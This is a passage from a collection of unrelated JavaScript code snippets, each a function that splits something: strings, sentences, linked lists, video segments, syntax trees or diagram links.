splitSentence(split_id){\n //1 split the sentence display\n var sentence_id = parseInt(split_id.split(\".\")[0]),\n word_id = parseInt(split_id.split(\".\")[1]);\n\n var sentence = getSentence(sentence_id-1).split(\" \");\n console.log(sentence)\n //\n var sentence_part1 = sentence.slice(0,word_id).join(\" \"),\n sentence_part2 = sentence.slice(word_id+1,sentence.length).join(\" \");\n\n var part1_html = \"<div><h3>Subsentence Part 1</h3>\" + sentence_part1 + \"</div>\";\n var part2_html = \"<div><h3>Subsentence Part 2</h3>\" + sentence_part2 + \"</div>\";\n\n $('#selected-sentence').append(part1_html);\n $('#selected-sentence').append(part2_html);\n\n //add subsentence classification to the rubrick\n\n addClassification('#classification_selection');\n\n}", "function split( val )\n\t{\n\t\treturn val.split( /,\\s*/ );\n\t}", "constructor() { \n \n Split.initialize(this);\n }", "function SplitFlowx(e,obj)\n {\n myDiagram.startTransaction(\"Split flow\");\n Link = myDiagram.selection.first();\n toNode = Link.toNode;\n fromNode = Link.fromNode;\n MoveSet = toNode.findTreeParts();\n myDiagram.model.removeLinkData(Link.data);\n\n\n offsetx =null;\n//\t\tif (LeftiNode(fromNode)!=null)\n//\t\t{\n//\t\t\toffsetx = minx-toNode.data.loc.x;\n//\t\t}\n//\t\telse\n {\n offsetx = fromNode.data.loc.x-toNode.data.loc.x;\n }\n minx = 99999999999999;\n\n\n myDiagram.moveParts(MoveSet,new go.Point(offsetx,200),true);\n myDiagram.commitTransaction(\"Split flow\");\n }", "function splitSequences(ast) {\n // BEFORE: (a = 1, b = 2)\n // AFTER: a = 1; b = 2;\n query(ast, 'SequenceExpression').forEach(function (node) {\n var prop = \"body\";\n var container = node.parent;\n var self = node;\n if (container.type === \"ExpressionStatement\") {\n self = container;\n container = container.parent;\n }\n if (container.type === \"SwitchCase\") {\n prop = \"consequent\";\n }\n if (!container[prop]) return;\n var index = container[prop].indexOf(self);\n var splitted = [];\n node.expressions.forEach(function (expression) {\n var statement = {\n type: \"ExpressionStatement\",\n expression: expression\n };\n statement.parent = container;\n expression.parent = statement;\n splitted.push(statement);\n });\n container[prop].splice.apply(container[prop], [index, 1].concat(splitted));\n });\n}", "function importTask(s)\n{\n let data = s.split(\",\");\n return data;\n}", "function splitOutBigString(a) {\n //fLog(\"splitOutBigString - length: \" + a.length);\n aSomBase = \"form1.FirstPage.Header.sf.tfSt[\";\n for (var i = 0; i < kChunks; ++i) {\n // clear out\n var aSOMtf = aSomBase + i + \"]\";\n var oTF = resolveNode(aSOMtf);\n oTF.rawValue = a.substr(i * kSize, kSize);\n }\n}", "splitSentencesHelper(sentence, chunkArray) {\n \tif (this.countWords(sentence)<=12) {\n \t\tchunkArray.push(sentence);\n return chunkArray;\n \t}\n \telse if (this.hasConjuction(sentence)) {\n \t\treturn this.splitBeforeConjuction(sentence, chunkArray);\n \t}\n \telse if (this.hasComma(sentence)) {\n \t\treturn this.splitAfterComma(sentence, chunkArray);\n \t}\n \t//else if (this.hasCutWord(sentence)) {\n \t//\treturn this.splitBeforeCutWord(sentence, chunkArray);\n \t//}\n \telse {\n \t\tchunkArray.push(sentence);\n return chunkArray;\n \t}\n }", "function splitCol() {\n var col = 18; // EDIT to change split target\n var sheet = SpreadsheetApp.getActiveSheet();\n var row_start = 2; // Edit as required\n var row_end = 9; // Edit as required\n var separator = \"CHAR(10)\";\n for (i = row_start; i < row_end + 1; i++) {\n // ca_data = sheet.getRange(i, ca_col);\n cell2 = sheet.getRange(i, col + 1);\n cell2.setFormulaR1C1(\"=SPLIT(R[0]C[-1], \" + separator + \")\");\n // TODO: Copy CA names over by one cell to the left\n // ca_data = sheet.getRange(i, ca_col + 1, 1, 7);\n // ca_data.copyValuesToRange(sheet, ca_col + 1, ca_col + 7, i, i); // sheet, col, colend, row, rowend\n }\n}", "function splitItemClick() {\n if (!continueProcessing) {\n if (!isSeeking || (isSeeking && ($(this).prop('id').indexOf('Div-') == -1))) {\n now = new Date();\n }\n\n if ((now - lastTimeSplitItemClick) > 80) {\n lastTimeSplitItemClick = now;\n\n if (editor.splitData && editor.splitData.splits) {\n // if not seeking\n if ((isSeeking && ($(this).prop('id').indexOf('Div-') == -1)) || !isSeeking) {\n // get the id of the split item\n id = $(this).prop('id');\n id = id.replace('splitItem-', '');\n id = id.replace('splitItemDiv-', '');\n id = id.replace('splitSegmentItem-', '');\n $('#splitUUID').val(id);\n\n if (id != lastId) {\n if (!inputFocused) {\n lastId = id;\n\n // remove all selected classes\n $('.splitSegmentItem').removeClass('splitSegmentItemSelected');\n $('.splitItem').removeClass('splitItemSelected');\n $('.splitItemDiv').removeClass('splitSegmentItemSelected');\n\n $('#clipItemSpacer').remove();\n $('#clipBegin').remove();\n $('#clipEnd').remove();\n\n $('.segmentButtons', '#splitItem-' + id).append('<span class=\"clipItem\" id=\"clipBegin\"></span><span id=\"clipItemSpacer\"> - </span><span class=\"clipItem\" id=\"clipEnd\"></span>');\n setSplitListItemButtonHandler();\n\n $('#splitSegmentItem-' + id).removeClass('hover');\n\n // load data into the segment\n var splitItem = editor.splitData.splits[id];\n editor.selectedSplit = splitItem;\n editor.selectedSplit.id = parseInt(id);\n setTimefieldTimeBegin(splitItem.clipBegin);\n setTimefieldTimeEnd(splitItem.clipEnd);\n $('#splitIndex').html(parseInt(id) + 1);\n\n // add the selected class to the corresponding items\n $('#splitSegmentItem-' + id).addClass('splitSegmentItemSelected');\n $('#splitItem-' + id).addClass('splitItemSelected');\n $('#splitItemDiv-' + id).addClass('splitSegmentItemSelected');\n\n currSplitItem = splitItem;\n\n if (!timeoutUsed) {\n if (!currSplitItemClickedViaJQ) {\n setCurrentTime(splitItem.clipBegin);\n }\n // update the current time of the player\n $('.video-timer').html(formatTime(getCurrentTime()) + \"/\" + formatTime(getDuration()));\n }\n }\n }\n }\n }\n }\n }\n}", "function splitString(stringToSplit, separator){\r\n dataKey = stringToSplit.split(separator);\r\n console.log(dataKey);\r\n for(var i = 0; i < dataKey.length; i++){\r\n m1[i]= dataKey[i];\r\n }\r\n}", "function splitString(str, separator) {\n const indx = str.indexOf(separator);\n \n if (indx === -1) {\n return str;\n }\n \n \n const newStr = str.slice(0 , indx);\n // console.log(str.slice(indx)); // => my name is Alexa.\n // console.log(newStr); // => Hello\n \n return newStr + splitString(str.slice(indx + 1), separator); \n}", "function splittingWords(wordToSplit){\n\tconsole.log(wordToSplit);\n\tvar splitWord = wordToSplit.split(\"\");\n\tconsole.log(splitWord);\n\tfor (var i=0; i < splitWord.length; i++){\n\t\tsplitWord[i] = (\"_\"); //can't figure out how to get rid of the commas when this prints to the page!! argh!!!!\n\t}\n\tconsole.log(splitWord);\n}", "function clearSplitLine() {\n // Clean up\n const splitLine = document.getElementById(SPLITTER_ID);\n if (splitLine !== null) {\n splitLine.remove();\n }\n}", "splitDataOnBlocks() {\n\t\t['Input', 'Patterns'].forEach((elem) => {\n\t\t\tvar propName = 'splitted' + elem;\n\t\t\tthis[propName] = [];\n\n\t\t\tthis[elem.toLowerCase()].forEach((string) => {\n\t\t\t\tvar blocks = string.split(/[^\\da-z\\-_]/i).filter(el => el.length);\n\t\t\t\tif (blocks.length > 0) {\n\t\t\t\t\tthis[propName].push(blocks);\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t}", "function splitIdFromThis(splitId) {\n let id = $(splitId).attr(\"id\");\n let salvaId = id.split(\"-\");\n id = salvaId[1];\n return id;\n}", "static splitString(string, separator1, separator2) {\n\n let result = [];\n let resultAux = _.split(string, separator1);\n\n _.forEach(resultAux, obj => {\n obj = _.split(obj, separator2);\n _.forEach(obj, objAux => {\n result.push(objAux);\n });\n });\n return _.map(result, _.trim);\n }", "function split( val ) {\n\t\t\treturn val.split( /(@|#)\\s*/ );\n\t}", "function splitElement(part1, part2, data){\n for (var i = 0; i < data.length; i++){\n var split = data[i].split(',');\n part1.push(split[0]);\n part2.push(split[1]);\n }\n\n return part1, part2;\n}", "split(name) {\n let value = this.splitCache.get(name);\n if (!value) {\n let splitValue = name.split(',');\n let length = splitValue.length;\n let method;\n switch (length) {\n case 1:\n case 2:\n value = splitValue;\n break;\n case 3:\n if (splitValue[1] === 'prototype') {\n value = splitValue;\n }\n else {\n value = [ splitValue[0] + ',' + splitValue[1], splitValue[2] ];\n }\n break;\n default:\n if (splitValue[length - 2] === 'prototype') {\n method = splitValue.pop();\n splitValue.pop(); // 'prototype'\n value = [ splitValue.join(','), 'prototype', method ];\n }\n else {\n method = splitValue.pop();\n value = [ splitValue.join(','), method ];\n }\n break;\n }\n this.splitCache.set(name, value);\n }\n return value;\n }", "function cambioSplitReverse() {\n \tvar selectSplitReverse = $('#tipoIvaSplitReverseTipoOnere');\n var selectedOption = $('option:selected', selectSplitReverse);\n var codice;\n var divsToHide;\n if(!selectedOption.length || !selectedOption.val()) {\n // Nulla da effettuare: esco\n return;\n }\n\n codice = selectedOption.data('codice');\n divsToHide = divsMayHideSplitReverse.filter('[data-hidden-split-reverse~=\"' + codice + '\"]');\n \n $(\"label[for='aliquotaCaricoSoggetto']\").html(codice === \"SI\" || codice === \"SC\" ? \"Aliquota\" : \"Aliquota a carico soggetto\");\n showDivs(divsMayHideSplitReverse.not(divsToHide));\n hideDivs(divsToHide);\n }", "function split(str, sep) {\n let idx = str.indexOf(sep);\n if (idx == -1) \n return [str];\n //you don't have to return an array, you can return a string as an array of \n //character \n //return str;\n return [str.slice(0, idx)].concat(split(str.slice(idx + sep.length), sep))\n \n //****** all these are valid syntax as well\n //return (str.slice(0,idx) + (split(str.slice(idx + sep.length), sep)))\n //return str.slice(0,idx).concat(split(str.slice(idx + sep.length), sep))\n }", "function cambioSplitReverse() {\n var selectedOption = $('option:selected', selectSplitReverse);\n var divsToHide;\n if(!selectedOption.length || !selectedOption.val()) {\n // Nulla da effettuare: esco\n return;\n }\n codice = selectedOption.data('codice');\n divsToHide = divsMayHideSplitReverse.filter('[data-hidden-split-reverse~=\"' + codice + '\"]');\n \n $(\"label[for='aliquotaCaricoSoggetto']\").html(codice === \"SI\" || codice === \"SC\" ? \"Aliquota\" : \"Aliquota a carico soggetto\");\n \n showDivs(divsMayHideSplitReverse.not(divsToHide));\n hideDivs(divsToHide);\n }", "function splitOnChunk_(self, delimiter) {\n const next = (leftover, delimiterIndex) => CH.readWithCause(inputChunk => {\n const buffer = CK.builder();\n const {\n tuple: [carry, delimiterCursor]\n } = CK.reduce_(inputChunk, Tp.tuple(O.getOrElse_(leftover, () => CK.empty()), delimiterIndex), ({\n tuple: [carry, delimiterCursor]\n }, a) => {\n const concatenated = CK.append_(carry, a);\n\n if (delimiterCursor < CK.size(delimiter) && a === CK.unsafeGet_(delimiter, delimiterCursor)) {\n if (delimiterCursor + 1 === CK.size(delimiter)) {\n buffer.append(CK.take_(concatenated, CK.size(concatenated) - CK.size(delimiter)));\n return Tp.tuple(CK.empty(), 0);\n } else {\n return Tp.tuple(concatenated, delimiterCursor + 1);\n }\n } else {\n return Tp.tuple(concatenated, a === CK.unsafeGet_(delimiter, 0) ? 1 : 0);\n }\n });\n return CH.zipRight_(CH.write(buffer.build()), next(!CK.isEmpty(carry) ? O.some(carry) : O.none, delimiterCursor));\n }, halt => O.fold_(leftover, () => CH.failCause(halt), chunk => CH.zipRight_(CH.write(CK.single(chunk)), CH.failCause(halt))), done => O.fold_(leftover, () => CH.succeed(done), chunk => CH.zipRight_(CH.write(CK.single(chunk)), CH.succeed(done))));\n\n return new C.Stream(self.channel[\">>>\"](next(O.none, 0)));\n}", "function split() {\n\n\t// Set selected to new domain\n\tfor (var i=0; i < data.nodes.length; i++) {\n\t\tif (data.nodes[i].selected) data.nodes[i].domain = 1;\n\t}\n\t\n\tnum_domains = 1; \n\t\n\t// Rebind to data and redraw\n\tupdate();\n}", "function splitUrl(url, symbo, islaxlng) {\n\tislaxlng = false || islaxlng;\n\tvar raw_url = url.split(symbo);\n\tvar url_after_split = raw_url[raw_url.length - 1];\n\tif (islaxlng) {\n\t\treturn raw_url;\n\t} else {\n\t\treturn url_after_split;\n\t}\n}", "function start() {\n\tvar splitButton = document.getElementById('splitButton');\n\tsplitButton.addEventListener(\"click\", splitButtonPressed, false);\n} //end function start", "createIndexOfSplitMethod(splitAt){\n if(Array.isArray(splitAt)){\n this.getIndexOfSplit = (data)=>{\n for(let i=0; i<data.length - splitAt.length+1; i++){\n let valid=true;\n for(let k=0;k<splitAt.length; k++){\n if(data[i+k] !== splitAt[k]){\n valid=false;\n break;\n }\n }\n if(valid){\n return i + splitAt.length - 1;\n }\n }\n return -1;\n }\n } else if(typeof splitAt === 'function'){\n this.getIndexOfSplit = splitAt;\n } else if( splitAt.constructor.name === \"RegExp\" ){\n this.getIndexOfSplit = data => {\n const result = data.toString().match(splitAt)\n return result ? result.index + result[0].length - 1 : -1;\n };\n } else if( typeof splitAt === 'string' ){\n this.getIndexOfSplit = data => {\n const index = data.toString().indexOf(splitAt);\n if(index >= 0){\n return index + splitAt.length - 1\n }\n return -1;\n };\n }\n }", "_splitPointsToBoundaries(splitPoints, textBuffer) {\n const boundaries = [];\n const lineCnt = textBuffer.getLineCount();\n const getLineLen = (lineNumber) => {\n return textBuffer.getLineLength(lineNumber);\n };\n // split points need to be sorted\n splitPoints = splitPoints.sort((l, r) => {\n const lineDiff = l.lineNumber - r.lineNumber;\n const columnDiff = l.column - r.column;\n return lineDiff !== 0 ? lineDiff : columnDiff;\n });\n // eat-up any split point at the beginning, i.e. we ignore the split point at the very beginning\n this._pushIfAbsent(boundaries, new position_1.Position(1, 1));\n for (let sp of splitPoints) {\n if (getLineLen(sp.lineNumber) + 1 === sp.column && sp.lineNumber < lineCnt) {\n sp = new position_1.Position(sp.lineNumber + 1, 1);\n }\n this._pushIfAbsent(boundaries, sp);\n }\n // eat-up any split point at the beginning, i.e. we ignore the split point at the very end\n this._pushIfAbsent(boundaries, new position_1.Position(lineCnt, getLineLen(lineCnt) + 1));\n // if we only have two then they describe the whole range and nothing needs to be split\n return boundaries.length > 2 ? boundaries : null;\n }", "function CreateSplitModal() {\r\n var mleft = 16,\r\n\t\t\tmtop = 16,\r\n\t\t\tlspace = 6,\r\n\t\t\tvspace = 26;\r\n\r\n modalForm = new TForm(WeBuilder);\r\n modalForm.Width = 194;\r\n modalForm.Height = 150;\r\n modalForm.Position = poScreenCenter;\r\n modalForm.BorderStyle = bsSingle; //disable dialog resizing\r\n modalForm.BorderIcons = biSystemMenu; //remove maximize & minimize buttons\r\n modalForm.Caption = \"Split Line\";\r\n\r\n\t// 1st line of controls\r\n\r\n\t// Mode label object\r\n var lbMode = new TLabel(modalForm);\r\n lbMode.Parent = modalForm;\r\n lbMode.Caption = \"Split at:\";\r\n lbMode.SetBounds(mleft, mtop, 60, 15);\r\n\tlbMode.Hint = \"Choose method of splitting\";\r\n\tlbMode.ShowHint = true;\r\n\r\n\t// Mode combobox object\r\n cbMode = new TComboBox(modalForm);\r\n cbMode.Parent = modalForm;\r\n cbMode.Items.Add(\"Delimiter\");\r\n cbMode.Items.Add(\"Position\");\r\n cbMode.ItemIndex = 0;\r\n\tcbMode.Style = csOwnerDrawFixed; // If set to csDropDown (default value) then keyboard entry is possible\r\n\tcbMode.OnChange = \"ChangeMode\";\r\n cbMode.SetBounds(mleft + 60 + lspace, mtop-3, 90, 21);\r\n\tcbMode.Hint = \"Choose method of splitting\";\r\n\tcbMode.ShowHint = true;\r\n\r\n\t// 2nd line of controls\r\n\r\n\t// Delimiter label object\r\n lbDelimiter = new TLabel(modalForm);\r\n lbDelimiter.Parent = modalForm;\r\n lbDelimiter.Caption = \"Delimiter:\";\r\n lbDelimiter.SetBounds(mleft, mtop + (vspace*1), 60, 15);\r\n\tlbDelimiter.Hint = \"Delimiter/Split character(s)\";\r\n\tlbDelimiter.ShowHint = true;\r\n\r\n\t// Delimiter input object\r\n edDelimiter = new TEdit(modalForm);\r\n edDelimiter.Parent = modalForm;\r\n edDelimiter.SetBounds(mleft + lspace + 60, mtop - 2 + (vspace*1), 90, 15);\r\n\tedDelimiter.Hint = \"Delimiter/Split character(s)\";\r\n\tedDelimiter.ShowHint = true;\r\n\r\n\t// Position label object\r\n lbPosition = new TLabel(modalForm);\r\n lbPosition.Parent = modalForm;\r\n lbPosition.Caption = \"Position:\";\r\n\tlbPosition.Visible = false;\r\n lbPosition.SetBounds(mleft, mtop + (vspace*1), 60, 15);\r\n\tlbPosition.Hint = \"nth position to split at\";\r\n\tlbPosition.ShowHint = true;\r\n\r\n\t// Position input object\r\n edPosition = new TEdit(modalForm);\r\n edPosition.Parent = modalForm;\r\n\tedPosition.Visible = false;\r\n\tedPosition.OnKeyPress = \"NumbersOnly\";\r\n edPosition.SetBounds(mleft + lspace + 60, mtop + (vspace*1) -2 , 90, 15);\r\n\tedPosition.Hint = \"nth position to split at\";\r\n\tedPosition.ShowHint = true;\r\n\r\n\t// 3rd line of controls\r\n\r\n\t// OK button object\r\n btnOk = new TButton(modalForm);\r\n btnOK.Parent = modalForm;\r\n btnOk.Caption = \"OK\";\r\n btnOk.Default = True;\r\n btnOK.ModalResult = mrOK;\r\n btnOk.SetBounds(mleft, mtop + 5 + (vspace*2), 75, 25);\r\n\r\n\t// Cancel button object\r\n btnCancel = new TButton(modalForm);\r\n btnCancel.Parent = modalForm;\r\n btnCancel.Caption = \"Cancel\";\r\n btnCancel.Cancel = True;\r\n btnCancel.ModalResult = mrCancel;\r\n btnCancel.SetBounds(modalForm.Width - 75 - mleft -5 , mtop + 5 + (vspace*2), 75, 25);\r\n}", "splitOnVal(value){\r\n // As usual, let's check to see if the list is empty.\r\n if(this.isEmpty()) {\r\n console.log(\"There's no list to split.\");\r\n return false;\r\n }\r\n // Now we need to check if the head's value is the one we're trying to split from\r\n else if(this.head.value == value) {\r\n // If it is, then basically we clear the current list and return a new list\r\n // that contains everything that was in the current list.\r\n\r\n // Create the new list\r\n let newList = new SLList();\r\n // Set the new list's head to the current head (since it's the value we're looking for)\r\n newList.head = this.head;\r\n // Now, clear the current list\r\n this.head = null;\r\n // And return the new list.\r\n return newList;\r\n }\r\n else {\r\n\r\n // Let's start a runner\r\n let runner = this.head;\r\n // We want to keep moving the runner down the line \r\n while(runner.next != null) {\r\n // Let's check to see if the next node's value is the one we're trying to\r\n // split at. If it is, we'll create our new list and call it a day!\r\n if(runner.next.value == value){\r\n // Create the new list\r\n let newList = new SLList();\r\n // Set its head to the next node;\r\n newList.head = runner.next;\r\n // Set runner's .next to null to end the current list\r\n runner.next = null;\r\n // and return the new list!\r\n return newList;\r\n }\r\n // Otherwise, move runner down the line.\r\n runner = runner.next;\r\n }\r\n // If we've gotten this far, the value isn't in the list.\r\n console.log(\"Could not find a node with that value.\")\r\n return false;\r\n }\r\n }", "splitFilters (activeFilters) {\n const filters = activeFilters.map((f)=> { \n\t\t\t\t\t\n let filterString = `${f.filterName}:${f.value.trim()}`;\n return filterString\n })\n\n \n\n return filters.join().trim();\n }", "async split(chat) {\n\n try {\n let out={};\n //Check for valid input, return otherwise\n if (!(typeof chat.msg === 'string' || chat.msg instanceof String)) {\n console.log('invalid input');\n return;\n }\n //Check for multiline msgs and seperate them\n let arr = this.GENERAL.lineseperator(chat.msg);\n let usecase = arr.length;\n \n //If multiline call multiline formatter and singleliner otherwise\n out=(usecase > 1)?this.GENERAL.multilineformatter(arr):this.GENERAL.lineformatter(arr[0]);\n\n return out;\n\n } catch (err) {\n console.log(err);\n }\n\n }", "splitElementForClientArea(paragraph, element) {\n let line = element.line;\n if (element.line.children.length > 0) {\n let previousElement = element.previousElement;\n let index = element.indexInOwner;\n // if line widget contain only single image element box need to skip this from splitting\n // else move element to next line\n if (element.line.children.length > 1) {\n if (previousElement && this.viewer.clientActiveArea.x !== this.viewer.clientArea.x) {\n index -= 1;\n }\n }\n this.addSplittedLineWidget(element.line, index);\n }\n }", "function splitParameters(str){var parameters=str.split(';');for(var i=1,j=0;i<parameters.length;i++){if(quoteCount(parameters[j])%2==0){parameters[++j]=parameters[i];}else{parameters[j]+=';'+parameters[i];}}// trim parameters\nparameters.length=j+1;for(var i=0;i<parameters.length;i++){parameters[i]=parameters[i].trim();}return parameters;}", "function nextSegment() {\n if (editor.splitData && editor.splitData.splits) {\n var playerPaused = getPlayerPaused();\n if (!playerPaused) {\n pauseVideo();\n }\n\n var currSplitItem = getCurrentSplitItem();\n var new_id = currSplitItem.id + 1;\n\n new_id = (new_id >= editor.splitData.splits.length) ? 0 : new_id;\n\n var idFound = true;\n if ((new_id < 0) || (new_id >= editor.splitData.splits.length)) {\n idFound = false;\n }\n /*\n\telse if (!editor.splitData.splits[new_id].enabled) {\n idFound = false;\n new_id = (new_id >= (editor.splitData.splits.length - 1)) ? 0 : new_id;\n\n for (var i = new_id + 1; i < editor.splitData.splits.length; ++i) {\n if (editor.splitData.splits[i].enabled) {\n new_id = i;\n idFound = true;\n break;\n }\n }\n }\n\t*/\n if (!idFound) {\n for (var i = 0; i < new_id; ++i) {\n // if (editor.splitData.splits[i].enabled) {\n new_id = i;\n idFound = true;\n break;\n // }\n }\n }\n\n if (idFound) {\n selectSegmentListElement(new_id, !playerPaused);\n }\n if (!playerPaused) {\n playVideo();\n }\n }\n}", "function cleanUtf8Split(chunk, runtime) {\n var idx = chunk.length - 1;\n /**\n * From Keyang:\n * The code below is to check if a single utf8 char (which could be multiple bytes) being split.\n * If the char being split, the buffer from two chunk needs to be concat\n * check how utf8 being encoded to understand the code below.\n * If anyone has any better way to do this, please let me know.\n */\n if ((chunk[idx] & 1 << 7) != 0) {\n while ((chunk[idx] & 3 << 6) === 128) {\n idx--;\n }\n idx--;\n }\n if (idx != chunk.length - 1) {\n runtime.csvLineBuffer = chunk.slice(idx + 1);\n return chunk.slice(0, idx + 1);\n // var _cb=cb;\n // var self=this;\n // cb=function(){\n // if (self._csvLineBuffer){\n // self._csvLineBuffer=Buffer.concat([bufFromString(self._csvLineBuffer,\"utf8\"),left]);\n // }else{\n // self._csvLineBuffer=left;\n // }\n // _cb();\n // }\n }\n else {\n return chunk;\n }\n}", "function wordSplit() {\n\twordLetters = currentWord.split(\"\");\n}", "function split(text) {\n\t\t\t\tvar len = text.length;\n\t\t\t\tvar arr = [];\n\t\t\t\tvar i = 0;\n\t\t\t\tvar brk = 0;\n\t\t\t\tvar level = 0;\n\n\t\t\t\twhile (i + 2 <= len) {\n\t\t\t\t\tif (text.slice(i, i + 2) === '[[') {\n\t\t\t\t\t\tlevel += 1;\n\t\t\t\t\t\ti += 1;\n\t\t\t\t\t} else if (text.slice(i, i + 2) === ']]') {\n\t\t\t\t\t\tlevel -= 1;\n\t\t\t\t\t\ti += 1;\n\t\t\t\t\t} else if (level === 0 && text[i] === ',' && text[i - 1] !== '\\\\') {\n\t\t\t\t\t\tarr.push(text.slice(brk, i).trim());\n\t\t\t\t\t\ti += 1;\n\t\t\t\t\t\tbrk = i;\n\t\t\t\t\t}\n\t\t\t\t\ti += 1;\n\t\t\t\t}\n\t\t\t\tarr.push(text.slice(brk, i + 1).trim());\n\t\t\t\treturn arr;\n\t\t\t}", "function spreadOut() {\n let fragment = ['to', 'code'];\n let sentence = // change this line\n return sentence;\n}", "function splitVideo(videoName, splitTimeInSeconds) {\r\n\tvar requestData = '{'\r\n\t\t\t+ '\"command\" : \"splitVideo\",'\r\n\t\t\t+ '\"arguments\" : {'\r\n\t\t\t+ '\"video\" : \"' + videoName + '\",'\r\n\t\t\t+ '\"splitTimeInSeconds\" : ' + splitTimeInSeconds + ''\r\n\t\t\t+ '}'\r\n\t\t\t+ '}';\r\n\tmakeAsynchronousPostRequest(requestData, refresh, null);\t// Defined in \"/olive/scripts/master.js\".\r\n}", "function Chunks() { }", "function splitButtonPressed() {\n\tvar inputString = document.getElementById('inputField').value;\n\tvar tokens = inputString.split(\" \");\n\n\tvar results = document.getElementById('results');\n\tresults.innerHTML = \"<p>The sentence split into two words is: </p>\" + \"<p class='indent'>\" + tokens.join(\"</p><p class='indent'>\") + \"</p>\" + \"<p class='indent'>'\" + inputString.substring(0, 10) + \"'</p>\";\n} //end function splitButtonPressed", "_getRigthSplit (columns, id) {\n var rightSplit = 0;\n if (id) {\n rightSplit = 1;\n for(var index = 0; index <columns.length;index++) {\n if(columns[index].id == id){\n rightSplit = columns.length - index;\n break;\n }\n }\n }\n return rightSplit;\n }", "function needSplitPageForPlan()//page 5 split page base on rider\n{\n \n \n \n if (getProdList(\"annualPremium\").length <= splitCount)\n {\n \n isNeedSplit = \"NO\";\n \n \n \n if( gdata.SI[0].ReducedPaidUpYear==\"(null)\" || \n gdata.SI[0].ReducedPaidUpYear==\"null\" ||\n gdata.SI[0].ReducedPaidUpYear==\"0\" )\n {\n if(ecar60Exist){\n \n appendPage('page5c','pds2HTML/PDSTwo_ENG_Page5b_i.html');\n appendPage('page5d','pds2HTML/PDSTwo_ENG_Page5b_ii.html');\n }\n else{\n appendPage('page5a','pds2HTML/PDSTwo_ENG_Page5.html');\n hide2EContent();\n }\n \n \n \n }else\n {\n appendPage('page5a','pds2HTML/PDSTwo_ENG_Page5.html');\n show2EContent();\n appendPage('page5d','pds2HTML/PDSTwo_ENG_Page5_reduced.html');\n }\n Page50_UV();\n \n \n \n }\n else\n {\n \n isNeedSplit = \"YES\";\n isNeedSplitFirstPart = \"YES\";\n \n appendPage('page5a','pds2HTML/PDSTwo_ENG_Page5.html');\n \n document.getElementById('premiumPaidOnPage5').style.display= \"none\";\n \n isNeedSplitFirstPart = \"NO\";\n //appendPage('page5d','pds2HTML/PDSTwo_BM_Page5b.html');\n \n \n if( gdata.SI[0].ReducedPaidUpYear==\"(null)\" || \n gdata.SI[0].ReducedPaidUpYear==\"null\" ||\n gdata.SI[0].ReducedPaidUpYear==\"0\" )\n {\n hide2EContent();\n }else\n {\n \n show2EContent();\n appendPage('page5b','pds2HTML/PDSTwo_ENG_Page5_reduced.html');\n }\n \n Page50_UV();\n \n appendPage('page5c','pds2HTML/PDSTwo_ENG_Page5b_i.html');\n \n appendPage('page5d','pds2HTML/PDSTwo_ENG_Page5b_ii.html');\n \n /*\n if( ecar55Exist )\n {\n hidePremDuration();\n }else\n {\n showPremDuration();\n }*/\n }\n \n if(gdata.SI[0].UL_Temp_trad_Details.data.length == 0){\n \n $('.TobeSetAtJsFile').html('B)');\n $('.TobeSetAtJsFile2').html('C)');\n }\n else{\n $('.TobeSetAtJsFile').html('C)');\n $('.TobeSetAtJsFile2').html('D)');\n }\n}", "split(separator) {\n return new SplitIterator(this, separator);\n }", "function okButtonClick() {\n if (!continueProcessing && checkClipBegin() && checkClipEnd()) {\n id = $('#splitUUID').val();\n if (id != \"\") {\n var current = editor.splitData.splits[id];\n var tmpBegin = parseFloat(current.clipBegin);\n var tmpEnd = parseFloat(current.clipEnd);\n var duration = getDuration();\n id = parseInt(id);\n if (getTimefieldTimeBegin() > getTimefieldTimeEnd()) {\n displayMsg(\"The inpoint is bigger than the outpoint. Please check and correct it.\",\n \"Check and correct inpoint and outpoint\");\n selectSegmentListElement(id);\n return;\n }\n\n if (checkPrevAndNext(id, true).ok) {\n if (editor.splitData && editor.splitData.splits) {\n current.clipBegin = getTimefieldTimeBegin();\n current.clipEnd = getTimefieldTimeEnd();\n if (id > 0) {\n if (current.clipBegin > editor.splitData.splits[id - 1].clipBegin) {\n editor.splitData.splits[id - 1].clipEnd = current.clipBegin;\n } else {\n displayMsg(\"The inpoint is bigger than the inpoint of the segment before this segment. Please check and correct it.\",\n \"Check and correct inpoint\");\n setTimefieldTimeBegin(editor.splitData.splits[id - 1].clipEnd);\n selectSegmentListElement(id);\n return;\n }\n }\n\n var last = editor.splitData.splits[editor.splitData.splits.length - 1];\n if (last.clipEnd < duration) {\n ocUtils.log(\"Inserting a last split element (auto): (\" + current.clipEnd + \" - \" + duration + \")\");\n var newLastItem = {\n clipBegin: parseFloat(last.clipEnd),\n clipEnd: parseFloat(duration),\n enabled: true\n };\n\n // add the new item to the end\n editor.splitData.splits.push(newLastItem);\n }\n for (var i = 0; i < editor.splitData.splits.length; ++i) {\n if (checkPrevAndNext(i, false).inserted) {\n i = 0;\n }\n }\n }\n\n editor.updateSplitList(true, !zoomedIn());\n $('#videoPlayer').focus();\n selectSegmentListElement(id);\n } else {\n current.clipBegin = tmpBegin;\n current.clipEnd = tmpEnd;\n selectSegmentListElement(id);\n }\n }\n } else {\n selectCurrentSplitItem();\n }\n}", "function split (string, delimiter) {\n let results = [];\n let delimiterLength = delimeter.length;\n for (var index=0; index < string.length; index++) {\n let characters = string.substr(index, delimeterLength);\n // let chunkStart =\n // let chunkEnd\n //console.log(characters, index)\n if (characters === delimiter) {\n //console.log(string.substr(0,index))\n }\n }\n return results\n}", "function splitSequence(node, state) {\n var prop = \"body\"\n var lookup = node\n var parent = state[state.length - 2]\n if (parent.type === \"ExpressionStatement\") {\n lookup = parent\n parent = state[state.length - 3]\n }\n if (parent.type === \"SwitchStatement\") {\n prop = \"consequent\"\n // Extract the case\n for (var i = 0; i < parent.cases.length; i++) {\n if (~parent.cases[i][prop].indexOf(lookup)) {\n parent = parent.cases[i]\n break\n }\n }\n }\n if (!parent[prop]) return\n var index = parent[prop].indexOf(lookup)\n var splitted = []\n node.expressions.forEach(function (e) {\n splitted.push({\n type: \"ExpressionStatement\",\n expression: e\n })\n })\n parent[prop].splice.apply(parent[prop], [index, 1].concat(splitted))\n}", "function split_overwrite_DocGenerator(pString) {\n\t//----Debugging------------------------------------------\n\t// The following alert-Command is useful for debugging \n\t//alert(\"docgenerator.js:split_overwrite(pTerm)-Call\")\n\t//----Create Object/Instance of DocGenerator----\n\t// var vMyInstance = new DocGenerator();\n\t// vMyInstance.split_overwrite(pTerm);\n\t//-------------------------------------------------------\n\t//return this.assRules.parsenode.split2lines(pString);\n\treturn 